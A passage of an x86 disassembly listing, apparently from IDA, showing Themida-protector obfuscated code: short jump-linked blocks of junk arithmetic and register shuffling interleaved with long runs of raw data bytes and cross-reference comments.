		dd 81ECE9h, 31D13100h, 2EAC1CAh, 0C0ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EADD:				; CODE XREF: Themida_:00569D0Dj
		pop	ebx
		mov	ebx, edx
		jmp	loc_569088
; ---------------------------------------------------------------------------


loc_55EAE5:				; CODE XREF: Themida_:005614F7j
		add	esp, 4
		xor	al, bh
		jmp	loc_56DD0D
; ---------------------------------------------------------------------------


loc_55EAF2:				; CODE XREF: Themida_:0055C41Cj
		xor	ebp, [esp]
		jmp	loc_563CA6
; ---------------------------------------------------------------------------


loc_55EAFA:				; CODE XREF: Themida_:0055F99Ej
		dec	ecx
		sub	ecx, 1E54DFF7h
		jmp	loc_569B7D
; ---------------------------------------------------------------------------
		dw 5D54h
		dd 4C581h, 46E90000h, 81FFFFF9h, 89D301F5h, 5DE9316Fh
		dd 77B3E9h, 89575B00h, 4C781E7h, 83000000h, 8E904C7h
		db 22h,	1, 0
; ---------------------------------------------------------------------------


loc_55EB33:				; CODE XREF: Themida_:0056B823j
		add	ecx, 0FFCDC601h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFD7D6E9h, 56C281FFh, 10E1138h, 0DE18E9C2h,	0E951FFFFh
		dd 207Fh, 0B753B1B7h, 5BF98884h, 0E954C180h, 0F5F3h, 0CE2482BBh
		dd 8EBC103h, 1DBBEB81h,	0EBC1735Ah, 0A89E905h, 0EC810001h
		dd 4, 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 14895C24h
		dd 205B6824h, 0C890000h, 6DC6824h, 0D7E90000h
		db 27h,	2 dup(0)
byte_55EBB3	db 0ACh			; DATA XREF: Themida_:0055C1B8o
		dd 0CDB05051h, 0F658C188h, 90F180D9h, 0F610C980h, 1DE180D9h
		dd 7CF180h, 0D82859C8h,	5230B551h, 0D6F6F0B6h, 0F680C6FEh
		dd 23EE809Bh, 0E95AF520h, 3015h
; ---------------------------------------------------------------------------


loc_55EBE8:				; CODE XREF: Themida_:00561A99j
		pop	esi
		add	[esp+4], ebx
		jmp	loc_56F78D
; ---------------------------------------------------------------------------


loc_55EBF2:				; CODE XREF: Themida_:00561125j
		mov	[esp], edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_568248
; ---------------------------------------------------------------------------


loc_55EC04:				; CODE XREF: Themida_:0056B4CCj
		pop	esp
		jmp	loc_567F92
; ---------------------------------------------------------------------------


loc_55EC0A:				; CODE XREF: Themida_:00568BA7j
		xor	eax, 74AF38E9h
		sub	eax, 1878EADDh
		add	edx, eax
		pop	eax
		jmp	loc_56BCAE
; ---------------------------------------------------------------------------
		dd 89D18951h, 1D7DE9CBh, 71BE0000h, 0E972EE23h,	0DCD2h
		dd 0E9243C89h, 896h, 61C2C281h,	0EAD1292Bh, 2F2BE9h, 0C1815A00h
		dd 0D59E2092h, 0F387D987h, 0F387D6F7h, 0E9E9D931h, 5100008Eh
		dd 592404FFh, 8E1C141h,	786AE981h, 0E1C17AF2h, 0F3E98107h
		dd 1E230E5h, 0C68159CEh, 6F9F3D99h, 0EE81FE01h,	6F9F3D99h
		dd 650DEE81h, 5BE94526h, 0FF000097h, 815D2434h,	4C4h, 53B95100h
		dd 5262150Fh, 0F85ADABAh, 0FF8EE95Dh, 4401FFFFh, 6C810424h
		dd 2D760424h, 99E9224Bh, 5FFFFD7h, 4, 8704E883h, 545C2404h
		dd 0E924048Fh, 0E577h, 5B241C29h, 51E3D14Bh, 0B01A0DB9h
		dd 4DD7E94Ah, 0B8500000h, 789B03BBh, 0C106E8C1h, 0E0C108E8h
		dd 2DD0F706h, 0C7D70B5Ah, 480AEE81h, 0C629469Eh, 66F7E9h
		dd 0E9F82900h, 10BB5h, 1946BB66h, 3E3C166h, 0A027E9h, 240C8B00h
		dd 0E904C483h, 50F7h, 0F210E95Ch, 0C4810000h, 4, 77F1E581h
		dd 0DDF77AB2h, 9A57BB53h, 0DD318250h, 0DEB2E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED46:				; CODE XREF: Themida_:0055FA1Bj
		mov	edx, 32180710h
		inc	edx
		jmp	loc_56DB1F
; ---------------------------------------------------------------------------
		db 0BBh, 7Dh, 1Fh
		dd 0BB533CE0h, 4B716248h, 5355E381h, 0EB817458h, 5CDF2A02h
		dd 706DBF57h, 814F5FA3h, 9DF122EFh, 5FFB3199h, 33E9DE01h
		db 7Dh,	2 dup(0)
byte_55ED7F	db 0FFh			; DATA XREF: Themida_:0055C24Co
		dd 2C813C77h, 0A70C424h, 0FFE95808h, 35FFFFDCh,	45204800h
		dd 2E19E9h, 0EA015D00h,	54ABEA81h, 815D772Ch, 2A5BCEC2h
		dd 0FFD301F9h, 835A2434h, 1C3304C4h, 241C3124h,	0E63AE9h
		dd 241C8B00h, 0E904C483h, 645Dh, 0E0895058h, 405h, 40500h
		dd 4870000h, 0C8295C24h, 81240C8Bh, 4C4h, 284E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EDEA:				; CODE XREF: Themida_:0056A5ACj
		mov	ebx, 5C1663F1h
		sub	eax, ebx
		pop	ebx
		dec	eax
		push	esi
		jmp	loc_5702E3
; ---------------------------------------------------------------------------
		db 0B3h, 62h, 80h
		dd 0EAE901EBh, 0FF00002Eh, 815D2434h, 4C4h, 24048F00h
		dd 0DE1EE95Ch, 89500000h, 405E0h, 4050000h, 87000000h
		dd 248B2404h, 8E38E924h, 4C2D0000h, 2D450C20h, 21476D55h
		dd 632A7B2Dh, 52D82918h, 834B9ABAh, 0DFB85051h,	357BD201h
		dd 5B5F6178h, 1445550Dh, 2E8C171h, 8B65E435h, 0EFDEE933h
		dd 0F029FFFFh, 8124348Bh, 4C4h,	24048700h, 0B2BE95Ch, 68590001h
		dd 52FCh, 0BE243489h, 5906496Dh, 5309B951h, 0CE0936B9h
		dd 83240C8Bh, 0B85004C4h, 27875A99h, 0D158C631h, 136768E6h
		dd 4890000h, 34BA5224h,	893BC747h, 0B0E5E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EEB2:				; CODE XREF: Themida_:0056604Dj
		add	edx, 0FFFFFFFFh
		xor	edx, edi
		xor	edi, edx
		jmp	loc_56AFFE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 89C1h
; ---------------------------------------------------------------------------


loc_55EECC:				; CODE XREF: Themida_:005676B2j
		mov	ebx, esi
		pop	esi
		shr	ebx, 6
		jmp	loc_56C861
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D3662424h, 0E99C242Ch, 0FFFFD43Fh, 5C3DE953h, 0BA520000h
		dd 121C078Fh, 0E95AD309h, 8CC7h, 79C28166h, 0EAC16674h
		dd 66576605h, 660D54BFh, 8B66FA01h, 0C481243Ch,	2, 5AD62966h
		dd 0E9D60166h, 1170Ah
; ---------------------------------------------------------------------------


loc_55EF20:				; CODE XREF: Themida_:0055E2EAj
		xchg	eax, [esp]
		pop	esp
		push	4389h
		mov	[esp], edi
		mov	edi, 70B35CB6h
		neg	edi
		jmp	loc_56421F
; ---------------------------------------------------------------------------
		dd 0C681CE01h, 26AD3643h, 1991E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF46:				; CODE XREF: Themida_:0056460Fj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	4
		pop	ebx
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55D55C
; ---------------------------------------------------------------------------
		dd 0AA69F181h, 0C381D448h, 2D4E1B52h, 0BF57CB01h, 55911004h
		dd 8147DFF7h, 20D4ABEFh, 0E9FB297Dh, 0E441h, 0E904EC83h
		dd 12213h, 0CCB60F66h, 4EC81h, 2C890000h, 4EC8324h
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 753F2486h
		shl	ebp, 4
		sub	ebp, 18C506CEh
		sub	ebp, 3B2D418Eh
		push	edi
		mov	edi, 76E90998h
		jmp	loc_56803F
; ---------------------------------------------------------------------------
		dd 0A2EA8142h, 8909B54Eh, 0DC70E9D5h, 0B753FFFFh, 5BF828FFh
		dd 0D4E99604h, 58000083h, 0FF2434FFh, 505A2434h, 405E089h
		dd 5000000h, 4,	5C240487h, 330E68h, 24048900h, 405E089h
		dd 0E9000000h, 658Dh, 813FE95Fh, 29660000h, 0F1E92434h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F02F:				; CODE XREF: Themida_:00570BF1j
		push	ebx
		push	eax
		push	0FAC7EE8h
		jmp	loc_567730
; ---------------------------------------------------------------------------
		db 33h
		dd 0F9E9240Ch, 5000099h, 4, 4BE56h, 3C050000h, 17CFC14h
		dd 143C2DF0h, 875E7CFCh, 815C2404h, 1807F2h, 8BD6014Dh
		dd 0C4832414h, 7B6F6804h, 4890000h, 4C81B824h, 0A6E92D5Fh
		dd 5B000093h, 8359CD31h, 0E945FFC5h, 708Dh, 148BD301h
		dd 4C48124h, 0E9000000h, 0FF5Ch
; ---------------------------------------------------------------------------


loc_55F09C:				; CODE XREF: Themida_:0056BDB2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_56D187
; ---------------------------------------------------------------------------
byte_55F0AD	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055C290o
		dd 411589Dh, 68E99C24h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F0BB:				; CODE XREF: Themida_:0055C829j
		not	edi
		xor	edi, 892AC97Bh
		jmp	loc_56D22F
; ---------------------------------------------------------------------------
		dd 0E581DDF7h, 69C37C69h, 0C368D5F7h, 0E9000065h, 0CA01h
		dd 4B9h, 0E9CF0100h, 3EEBh
; ---------------------------------------------------------------------------


loc_55F0E8:				; CODE XREF: Themida_:00562F59j
		add	ebp, ebx
		push	edx
		mov	edx, 13A801F9h
		or	edx, 5F6259D3h
		add	edx, 0B59A049Ah
		jmp	loc_5649F8
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 44810000h, 71830424h, 4481012Bh, 43E90424h, 0BB5337B0h
		dd 5E786481h, 8245C29h,	244C015Bh, 24448104h, 78648104h
		dd 246C815Eh, 0B043E904h, 246C8137h, 2B718304h,	2434FF01h
		dd 6968E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F146:				; CODE XREF: Themida_:005712ACj
		pop	eax
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	2B18h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560BA5
; ---------------------------------------------------------------------------
		db 29h
		dd 1DC381C3h, 5822623Ah, 0FFD428E9h, 81D1F7FFh,	8D305FE9h
		dd 8E1C1EAh, 0D7F7F987h, 0BD55F987h, 2C4E38A7h,	34FFE929h
		dd 0C4835D24h, 0E115E904h, 89510000h, 9BD7E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F1AA:				; CODE XREF: Themida_:00570639j
		push	ecx
		mov	ecx, 4
		jmp	loc_570205
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 34132404h, 48151FFh, 3E5D2924h, 24040128h
		dd 5D29BD55h, 4481283Eh, 7CE20424h, 0AAE92138h
		db 76h,	2 dup(0)
byte_55F1DF	db 0ADh			; DATA XREF: Themida_:0055C168o
		dd 10333E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F1E5:				; CODE XREF: Themida_:0056890Dj
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_570F7B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 558C289h,	0DBE751Dh, 8054592Dh, 4DF82D1Ah, 0D0014932h
		dd 324DF805h, 54590549h, 0BF571A80h, 3C651AB5h,	0ECC3E9h
		dd 6A685800h, 8900007Bh, 0C8BE2434h, 57783D3Fh,	6B2A5EBFh
		dd 8762E961h, 0A6680000h, 89000008h, 0A9E92434h, 830000FBh
		dd 0C48304C4h, 24343304h, 33243431h, 17E92434h,	33000003h
		dd 685C2434h, 585Ah, 679468h, 0F991E900h, 0F3010000h, 4EB835Eh
		dd 0E777E9h, 0C3815800h, 15FCF9EEh, 0F5B2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F281:				; CODE XREF: Themida_:005678DCj
		mov	edi, 4684132Dh
		push	edx
		jmp	loc_563C90
; ---------------------------------------------------------------------------


loc_55F28C:				; CODE XREF: Themida_:00567BAFj
		push	edx
		mov	edx, 4
		jmp	loc_55C4D6
; ---------------------------------------------------------------------------


loc_55F297:				; CODE XREF: Themida_:00562E7Aj
		xor	eax, ebx
		push	7112h
		mov	[esp], edi
		push	21Ch
		push	esp
		jmp	loc_55FF0D
; ---------------------------------------------------------------------------
		dd 4BBh, 5BDD8900h, 2C8BEE01h, 70BEE924h, 2C330000h, 34FF5C24h
		dd 0C4835824h, 36300504h, 0EA8150F2h, 67527CF2h, 0B86E953h
		dd 0FC2C0001h, 51E9C200h, 81000046h, 4C2h, 4C28300h, 8B241487h
		dd 68562424h, 312Dh, 78BAE9h, 5DEE0100h, 2B50EE81h, 335A68DCh
		dd 34312434h, 24343324h, 0B824E9h, 24148B00h, 5004C483h
		dd 6DC7E9h, 0FE885800h,	4775E9h, 24148900h, 42474FFh, 5A2434FFh
		dd 49FB68h, 24348900h, 0C681E689h, 4, 3304C683h, 34312434h
		dd 24343324h, 24048F5Ch, 2924248Bh, 0E99C2404h,	0FFFFCFC3h
; ---------------------------------------------------------------------------


loc_55F360:				; CODE XREF: Themida_:00564B8Dj
		mov	eax, 5A49229Bh
		mov	esi, 4F876530h
		xor	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		push	eax
		mov	eax, 410C0E56h
		add	eax, 6AA20E69h
		sub	eax, 95DFD518h
		sub	ecx, eax
		pop	eax
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_569502
; ---------------------------------------------------------------------------


loc_55F39F:				; CODE XREF: Themida_:00561EADj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_560018
; ---------------------------------------------------------------------------
		dw 5EB9h
		dd 295DF26Fh, 54E959C8h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F3BB:				; CODE XREF: Themida_:005657A2j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56FCC7
; ---------------------------------------------------------------------------


loc_55F3CC:				; CODE XREF: Themida_:0056021Ej
		or	ecx, ecx
		jz	loc_563A16
		sub	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_569AE2
; ---------------------------------------------------------------------------


loc_55F3DF:				; CODE XREF: Themida_:0056A1CFj
		mov	esi, 0D0A36834h
		sub	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 38h
		jmp	loc_56FDBC
; ---------------------------------------------------------------------------
word_55F3F2	dw 34FFh		; DATA XREF: Themida_:0055C164o
		dd 0F9685824h, 0E900005Fh, 1415h, 0A5C6815Bh, 8137B059h
		dd 876188EEh, 0E9CE2962h, 0FFFFED78h, 659468h, 24048900h
		dd 340BBD55h, 814D3CBAh, 5641AEF5h, 81D5F71Ch, 0FD3565EDh
		dd 69ED8107h, 0E9686715h, 0CC6h
; ---------------------------------------------------------------------------


loc_55F43C:				; CODE XREF: Themida_:0055C5A0j
		add	ebp, 0D39EBBB4h
		mov	edi, ebp
		jmp	loc_565857
; ---------------------------------------------------------------------------
		db 0BDh, 0A6h, 73h
		dd 0C14D0E19h, 0E5C108EDh, 84F58107h, 0E9070CB9h, 809Bh
dword_55F460	dd 240C8B66h, 5CADE957h	; DATA XREF: Themida_:0055C060o
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F46A:				; CODE XREF: Themida_:0056BE2Fj
		add	esp, 4
		inc	edi
		xor	edi, 233BA266h
		jmp	loc_56B78B
; ---------------------------------------------------------------------------
aI4_hsmv	db ',$4}_H錂',0
		dd 0E7B95100h, 31737F43h, 814D59CDh, 0F08E9BF5h, 0F0F9E986h
		dd 0D731FFFFh, 0FFFE295Ah, 535F2434h, 0C381E389h, 4, 8704C383h
		dd 8BE9241Ch, 5AFFFFD7h, 148BD301h, 4C48324h, 2474FF53h
		dd 0CED0E904h, 5F540000h, 4C781h, 3AE90000h, 590000D6h
		dd 0C0EAE9h, 21C66800h,	49E90000h, 5B000026h, 22DAC581h
		dd 0DDE938BFh, 5000008Bh, 832997B8h, 2B60E937h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F502:				; CODE XREF: Themida_:0055D8D1j
		mov	[esp], eax
		push	edi
		mov	edi, 55CD06D6h
		xor	edi, 1CEF45B6h
		mov	eax, edi
		pop	edi
		neg	eax
		push	ebp
		mov	ebp, 0E3D5B78h
		add	ebp, 4E0E6B94h
		jmp	loc_561470
; ---------------------------------------------------------------------------
		db 0BBh
		dd 73206E93h, 627E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F531:				; CODE XREF: Themida_:0056AC6Fj
		add	esp, 4
		add	eax, edx
		add	eax, 0AE56448h
		mov	edx, [esp]
		add	esp, 4
		or	eax, 0FE83FF9h
		jmp	loc_56BCD7
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 70h
		dd 0E924D300h, 0FFFFD80Eh, 0B2068h, 0FC45E900h,	0B25A0000h
		dd 0FA3E925h, 248B0001h, 0E82DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F576:				; CODE XREF: Themida_:0055C71Bj
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_563FE7
; ---------------------------------------------------------------------------
byte_55F589	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0055C108o
		dd 6659669Dh, 9C2414D3h, 0FFCD8AE9h, 0EEE950FFh
		db 45h,	2 dup(0)
byte_55F59F	db 0ADh			; DATA XREF: Themida_:0055C158o
		dd 8904EC83h, 0B7E9240Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5AB:				; CODE XREF: Themida_:005682FBj
		shr	edi, 1
		add	edi, 20F57BD7h
		jmp	loc_561A25
; ---------------------------------------------------------------------------
		dd 8D1BB53h, 0F8E97370h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F5C3:				; CODE XREF: Themida_:0056596Dj
		not	dword ptr [esp]
		pop	eax
		push	esi
		push	21245A21h
		pop	esi
		or	eax, esi
		pop	esi
		push	edx
		mov	edx, 0B3A4FE7Dh
		xor	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56B1A9
; ---------------------------------------------------------------------------


loc_55F5E4:				; CODE XREF: Themida_:00560A41j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56A54F
; ---------------------------------------------------------------------------
		db 33h
		dd 665C240Ch, 51240C8Bh, 2207E9h, 0F9E98100h, 1742526h
		dd 0E88359C8h, 24043304h, 33240431h, 0AFE92404h, 0E9FFFFDAh
		dd 0FFFFCD07h
; ---------------------------------------------------------------------------


loc_55F61C:				; CODE XREF: Themida_:0056F201j
		or	eax, eax
		jz	loc_5654C6
		push	4E2Eh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1Ch
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56F5AE
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 0F415E9h, 24248B00h,	29AA68h, 5EEE900h, 335A0000h, 0C31240Ch
		dd 0FF89E924h, 489FFFFh, 0AA0DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F66E:				; CODE XREF: Themida_:0056FC12j
		and	esi, 2D4106E9h
		jmp	loc_56D060
; ---------------------------------------------------------------------------
byte_55F679	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C180o
aHik		db '$hK',0
		align 2
aISsp		db '<$p',0
		align 2


loc_55F68A:				; CODE XREF: Themida_:0055D973j
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		push	40EDh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56D94C
; ---------------------------------------------------------------------------
		dd 0ADF581h, 0F5812DFAh, 37E85494h, 0FE23BA52h,	0D501F8C4h
		dd 5DEA015Ah, 34FF028Bh, 89565A24h, 0A7E955E6h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F6D7:				; CODE XREF: Themida_:00562ADCj
		pop	eax
		mov	esi, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_560EB5
		push	1A6h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 61151EF1h
		sub	ebx, 61151ED5h
		mov	eax, ebx
		jmp	loc_56E056
; ---------------------------------------------------------------------------


loc_55F71D:				; CODE XREF: Themida_:0056C2ABj
		push	eax
		mov	al, 0B1h
		sub	cl, al
		pop	eax
		jmp	loc_56FF2B
; ---------------------------------------------------------------------------
		dd 0E92414F6h, 0E99h, 3F48D835h, 4E0C13Fh, 0C15DDE0Dh
		dd 0F2802D3Ah, 0E0C10198h, 57D0F702h, 0D11522BFh, 102C2D29h
		dd 46055478h, 15F8F5Dh,	5D462DF8h, 82E95F8Fh, 29000021h
		dd 31C231D0h, 7F19E9D0h, 295F0000h, 0A3BE56EBh,	0E90E2B31h
		dd 0B3F3h
; ---------------------------------------------------------------------------


loc_55F77C:				; CODE XREF: Themida_:005605C4j
		pop	edx
		sub	bl, 0BCh
		add	bl, 0B0h
		add	bl, 86h
		jmp	loc_56C29D
; ---------------------------------------------------------------------------


loc_55F78B:				; CODE XREF: Themida_:00560D6Dj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56770C
; ---------------------------------------------------------------------------
aYsqg		db 'Yqg',0
		align 2
		dw 0C181h
		dd 6BB3707Fh, 0E959CA09h, 4072h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_570947
; ---------------------------------------------------------------------------


loc_55F7B4:				; CODE XREF: Themida_:0056277Cj
		mov	[esp], eax
		mov	eax, 2
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_56577E
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 2EFC001h, 8853C780h,	241C8BFDh, 8004C483h, 0EA0027C5h
		dd 83240C8Bh, 0E95904C4h, 0B279h
; ---------------------------------------------------------------------------


loc_55F7EC:				; CODE XREF: Themida_:00562B9Bj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56E240
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0F8290000h, 305568h,	243C8900h, 243C8B50h, 65F7E9h
		dd 5EF70100h, 266C781h,	0FA89B26Dh, 7EAC15Fh, 0C0AE9h
		db 0
byte_55F825	db 64h,	8Fh, 2		; DATA XREF: Themida_:0055C138o
		dd offset loc_41FCE7+2
		dd 0CCE95800h, 80000017h, 0F38029CBh, 0FFEB808Ch, 3445E9h
		dd 0DD895500h, 2C8BEE89h, 0BB34E924h, 0B90000h,	81000000h
		dd 4C1D20C1h, 45E9E90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F85E:				; CODE XREF: Themida_:0056A9D4j
		mov	[esp], ebx
		push	7AF9h
		jmp	loc_560B54
; ---------------------------------------------------------------------------


loc_55F86B:				; CODE XREF: Themida_:00567731j
		shl	eax, 6
		xor	eax, 45926CBDh
		xor	eax, 0AE8DD6B9h
		mov	ebx, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_56A0B5
; ---------------------------------------------------------------------------
		db 0BBh, 0F7h, 16h
		dd 0E955176Ah, 0FFFFDC71h
dword_55F89C	dd 0FF2434FFh, 51592434h, 0C181E189h, 4, 8C74E9h, 0E9E38900h
					; DATA XREF: Themida_:0055C28Co
		dd 0C6E4h, 4C481h, 99E90000h
		db 0FCh, 2 dup(0FFh)
byte_55F8C3	db 68h			; DATA XREF: Themida_:0055C1B0o
		dd 156Eh, 0FFD234E9h, 5BD829FFh, 2591E9h, 0E9CB3100h, 5F86h
		dd 2D5EF029h, 2155319Ch, 0EF1EE955h, 0EC83FFFFh, 24248904h
		dd 9602E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8F6:				; CODE XREF: Themida_:0056264Ej
		add	esp, 4
		push	eax
		mov	eax, 6FCC4C59h
		add	[esp+8], eax
		pop	eax
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	4DF8h
		mov	[esp], ebp
		push	eax
		mov	eax, 4F084F31h
		sub	eax, 7A4B4BBEh
		push	edi
		jmp	loc_5696C7
; ---------------------------------------------------------------------------
		dd 0C5895A5Dh, 0E924048Bh, 0FFFFF3FAh, 3C0BEA81h, 0EA813D50h
		dd 1C667293h, 88BD555Bh, 6852E86Ah, 57FDh, 0B9240C89h
		dd 219113AEh, 2414F751h, 0AFE98159h, 31CD4FB6h,	240C8BCDh
		dd 5004C483h, 0AB5BEBB8h, 58C20130h, 0E9E9EA01h, 68000003h
		dd 2A665850h, 8124048Bh, 4C4h, 0E9C52100h, 10374h
; ---------------------------------------------------------------------------


loc_55F988:				; CODE XREF: Themida_:005714AFj
		mov	[esp], ecx
		mov	ecx, 78D7F47h
		neg	ecx
		xor	ecx, 4789368Dh
		sub	ecx, 754C57A7h
		jmp	loc_55EAFA
; ---------------------------------------------------------------------------
		db 0BEh
		dd 56EB4FEFh, 0FFFE64E9h, 461425FFh, 402D5AB8h,	0E9F6CCCFh
		dd 87A6h
; ---------------------------------------------------------------------------


loc_55F9BC:				; CODE XREF: Themida_:0055D3EFj
		shl	edx, 6
		sub	edx, 2A808A01h
		mov	ebx, edx
		pop	edx
		jmp	loc_56F61D
; ---------------------------------------------------------------------------


loc_55F9CD:				; CODE XREF: Themida_:0056A0B9j
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_565C5E
; ---------------------------------------------------------------------------


loc_55F9E1:				; CODE XREF: Themida_:005619E5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	edx
		mov	edx, 7E7C7D98h
		jmp	loc_566CCB
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 20E9008Fh
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA03:				; CODE XREF: Themida_:0055FA6Ej
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_55ED46
; ---------------------------------------------------------------------------
		dd 0E981F101h, 58F02815h, 3264E9h, 5EF10100h, 0BA52D901h
		dd 18DA0CF2h, 0BC15E9h,	188E6800h, 0C890000h, 0FF7BE924h
		dd 0C0680000h, 89000053h, 0E589242Ch, 6006B951h, 53E948BBh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA5F:				; CODE XREF: Themida_:0056BA58j
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55FA03
; ---------------------------------------------------------------------------
byte_55FA73	db 68h			; DATA XREF: Themida_:0055C284o
		dd 75F9h, 81240489h, 133E242Ch,	34FF7439h, 0AE00E924h
		dd 88B40000h, 5260EC80h, 30E99BB2h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA97:				; CODE XREF: Themida_:0055E454j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_570617
; ---------------------------------------------------------------------------


loc_55FAA4:				; CODE XREF: Themida_:00560E0Ej
		sub	cl, 1
		push	edx
		mov	dh, 25h
		xor	dh, 0D0h
		push	eax
		push	edx
		mov	dh, 0D9h
		mov	al, 51h
		sub	al, dh
		pop	edx
		shl	al, 7
		jmp	loc_567057
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 4F02859h, 0F69EE990h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FACA:				; CODE XREF: Themida_:00565204j
		push	76E8h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	ebp
		jmp	loc_56E807
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4C1h, 240C8700h, 0F368E9h, 0C8B5900h, 4C48124h
		dd 0E9000000h, 0B759h, 0E9D6F75Dh, 55FBh, 0EDE95859h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB1B:				; CODE XREF: Themida_:005702B4j
		push	edx
		mov	dh, 6Eh
		and	al, dh
		pop	edx
		jmp	loc_562997
; ---------------------------------------------------------------------------


loc_55FB26:				; CODE XREF: Themida_:0056C470j
		push	6AB7h
		mov	[esp], ecx
		push	42C2h
		mov	[esp], eax
		mov	eax, 1000000h
